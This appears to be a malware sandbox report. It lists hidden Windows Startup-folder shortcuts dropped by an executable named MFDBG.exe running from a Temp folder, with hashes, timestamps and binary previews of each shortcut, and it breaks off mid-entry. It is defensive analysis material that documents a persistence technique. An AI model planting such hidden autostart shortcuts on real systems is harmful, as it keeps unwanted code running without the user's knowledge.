C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_175258981218482392f94ab8cdd0a237.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:82Bfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88PEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DCAE369AEE55FCCF7762D9B08096F214
SHA1:	6ECAB1D294F1CF358A04220BDF6B48190C129E4F
SHA-256:	1EDB0319D7B93A31F090C106ABB2F4A5141B0E7FF2086FF4E3CCCF2C652BC266
SHA-512:	A9C721D30F52F9E9E95314DB0A927188FF3B6A36367D94D49E13903B558ADAC5038B89B47674E8A278390C22867ABDC207D0039B95E3969976A4AEA86F1AB044
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_178eb77d58384158806409ff03619423.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923602069296046
Encrypted:	false
SSDEEP:	24:8iBfp8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QGEvZ0yRO7DLO2zdxdRd1kyg
MD5:	265CBA63F298B490FD62127A87A4A442
SHA1:	DCEC0AF98075644BB79D0A03DE0D3A409CC8EB96
SHA-256:	03E60A4758DAA5FC60975D60FD372D9BAF11312356335C3F6911ED5223F8A6A9
SHA-512:	034E011772D0DBFE5D35714B5A05692D2F641205F3ADCDC9982EF8C72C572B639DFED61006A1DB8FEBAE5BBF860E30C6DD9B9D1B4094D31C594E7E72E60A216B
Malicious:	false
Preview:	L..................F....".......d...#..Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...Y..Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17be51334fde4f488a4c866cb50e34e9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92663475605851
Encrypted:	false
SSDEEP:	24:8VCuBfxf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8xJEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	9E1356BA68D014EF6716362EC5507A03
SHA1:	B01631FB83703B32B4CA50C9D6FF6AE87D6C66AE
SHA-256:	8508DB3FFC45DE5863974A100CE448760BAA9BBEADD7C5F14C340A0AFD20DEB6
SHA-512:	F820B9FAF3EDC15F7B4E0420818057E4EE227A75768BF261ADE2BFF4EBD1866E03160B3091CCB66A30DE65AAB7934642D2C782EE5F88ABDD1BCC25BD9CDCB6F4
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...../.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_17de32bcc23b4dcaa3a902bd1942a737.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921488453125169
Encrypted:	false
SSDEEP:	24:8w3BfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8wRMEvZ0yRO7DLO2zdxdRd1kyg
MD5:	59393DFF10E8D489D047C8D177EB602A
SHA1:	5D13EA352EC35A965625FD13D43FB22981D4B115
SHA-256:	92FA75184C04458927493297A53EE9423273C85FAFA1506FD1891620B2AC1FFA
SHA-512:	072DEF126418FB4CB9870C264B0C004780F503A9783CD2412D15DAEF06AD1BFBBB6E3A1B06E22B4346FFD017FB40C82119429ED6FBDD6C1AA761B62155F61EF4
Malicious:	false
Preview:	L..................F....".......d....;8[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....1[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1837830c56874e25a20bd682c58ad6ba.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921979062212568
Encrypted:	false
SSDEEP:	24:8+BfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8UjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	D639D08ACA9EEAF5B95F46E1E78DF2C1
SHA1:	A08E79954CEA808824985006BDD200BA29CB8A84
SHA-256:	9C740F7B9C87516E9E6A02D9648941716A3AC6B3A55BDC06E82879EB5EFBA7D2
SHA-512:	4F87F1A4773BF76AFD655B11311EB9B45F5EB518B8F11FBAD034DF01C59C5F5E58461B38FC314C6AEDAFBF1FA433ABD06ECFBEB1394DD623741A275E5BB5EB0F
Malicious:	false
Preview:	L..................F....".......d....U:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_188c5308975b46f296a177de1c21edb3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:15 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917247071448771
Encrypted:	false
SSDEEP:	24:8VauBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	178A4699392C97EC90F28224D5D2A80D
SHA1:	90372EADA7DC5C733CC0E8A4DA14BF9805BB82B2
SHA-256:	9F0F9A43F465C512F9E859726A961807DE9865590C2DFBBC590F8F393FA3447A
SHA-512:	504CA008A5B4AAA1017E9497EAE45C4CF13BC9C43AD5E006441F2A82B542265D26FD57EEB4016A97C97CF93B1CB003915E458290043F5FCF7BC18271D235C8E8
Malicious:	false
Preview:	L..................F....".......d...Um.&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....JM&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18b1294b41b545ada25225da5339abb6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915632620793748
Encrypted:	false
SSDEEP:	24:8lBfr8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ngEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0051703367F654AB1FA203BE13AFAF7A
SHA1:	90BFA30414153784D13F90A9F03FC48E2794E9C4
SHA-256:	85D2994E6F53D60285BF592BF6C511DFCD2F3BAF925A89D3F00FEB4EEBB75370
SHA-512:	623A16484E51D09D79B7110B74B4D25AC7D8AAF9FEB60DD132D984AFFE8938A8B2CB4A7007492BCC9D35AFE5823EADC449A8711F9E992E077891E91C695C136E
Malicious:	false
Preview:	L..................F....".......d....Tu\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....p\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e21aa91d9e42afb346847e0034a929.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920251397029579
Encrypted:	false
SSDEEP:	24:8X2Bf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X8yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7E81B2DA6C4E014875FA7C2E5867FF93
SHA1:	14B18A1268E13BCF4FEAB0B7137CED83194CE461
SHA-256:	024AE2F142A812F8145A2812E33E931E66F81FA8D14F1AF9B1F5F263668BD0F2
SHA-512:	C872FFE49A143F115A3696E38AC08C551C59CBD288E6134095A5848AB23A5101E5E9D7D7CDC9C34AB9EA5139794094E587B5C441A557A92EC7319DAE3EB381A9
Malicious:	false
Preview:	L..................F....".......d....v.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18e3d52c42d74610b232ef29524a7823.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:11 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923273595840463
Encrypted:	false
SSDEEP:	24:8PTBfo+8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:89gTEvZ0yRO7DLO2zdxdRd1kyg
MD5:	76A3F9C956B71C8338565949D1203BAA
SHA1:	CE1325AD96B7AED84882C6F0EB9A81C6FC762B34
SHA-256:	815E7C647F9EB02204114DA51019C8A63F32A79C6C33DD2381B64283FB3CE735
SHA-512:	EB717B15594172345094AF4637B8F7756D3C3C0B0A5131810B59753929F4DF05B3DCB254E9E4391F9C234962FD4592DA3FBCFDCC5F6494A9B65C579D078DA175
Malicious:	false
Preview:	L..................F....".......d.....S$d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....&b$d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_18fb834304c54685b0e967622adbd5cc.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9207977301821915
Encrypted:	false
SSDEEP:	24:8YBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8WWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E7FEDF1B4D40C61949D1200D447EFCA0
SHA1:	DF81484F8AF32AD175DBEAE8AE3A7F6000E237B3
SHA-256:	85FEEA79141054458927A00049878F17A8C8534D979E8B7239967C717C81F753
SHA-512:	C65EB2B9E87542074EC7F80DB3D824F82F690DF8CFF9E086BD2D91860912167658C007AC37D4876A844EC146623518634C5C5F12E8B6BDEB98EB9F0135E1BAE4
Malicious:	false
Preview:	L..................F....".......d....R.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_199ec838092845d0a92b256eb88cbb80.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920740521753759
Encrypted:	false
SSDEEP:	24:8d+2BfpcH8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d+8DEvZ0yRO7DLO2zdxdRd1kyg
MD5:	533BF56AF2074C08FF8B6026D39B98F5
SHA1:	F06AA814688B8A90F98C99A54C8935EA1FE5B838
SHA-256:	4D7A57D9F6B9E1182D627C31EDE7770F617B1A0DF7986F99507618D987F3AF87
SHA-512:	38BC1E959EB06B5954A30B641FB7A0BDD5261629BBABBE16CF6009189567BEE97A4B496978C44C355D19F9D75FBD00DB2A61FAF138E173988789E032579EB253
Malicious:	false
Preview:	L..................F....".......d... ^_.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....f.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1a114f13273641958bf32a2ad7e8d16e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919832386273658
Encrypted:	false
SSDEEP:	24:8lBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8n9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	E7FD41A6A0BCC73006CBDD0819CC94D1
SHA1:	0B8DD59A7B093186CF3E3EA7063189ED86F63733
SHA-256:	2B588FE9620F62F60E466EA2AE6A2CD680AD7A9D5A788030EA36DC708B5F8B14
SHA-512:	6B8E570D293179779CB34B236166035742D9E93D969C29C51F3168DA281A8020DB7FDCBFF5417383DEDED9C58D2AE8078D0ADCB4C88D6305482800008C57828B
Malicious:	false
Preview:	L..................F....".......d.......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1b25ec17ce5a44f4846821525408d97b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9227306641685304
Encrypted:	false
SSDEEP:	24:8UBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86lEvZ0yRO7DLO2zdxdRd1kyg
MD5:	23370F383E155EBCAF7189A6495FDDFD
SHA1:	5384DEB0AC7CB5A372E48D565112E790C2CDDC47
SHA-256:	E6AACA66FE6C78ADBE44CAC58EABA6A9B28A2D49D0AF920E2B5F50F2BD0488D3
SHA-512:	7998851DAF3F7BE289D3494AD151CB24272293C08300A33908420E723B1600B4B061BBAD8CA16C36A4AE3EABD81DD27870B7582017D5511467274868889C6E79
Malicious:	false
Preview:	L..................F....".......d...7..=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_1c1ad77e28df4c92ac4458387a7ebf7d.lnk

Download File

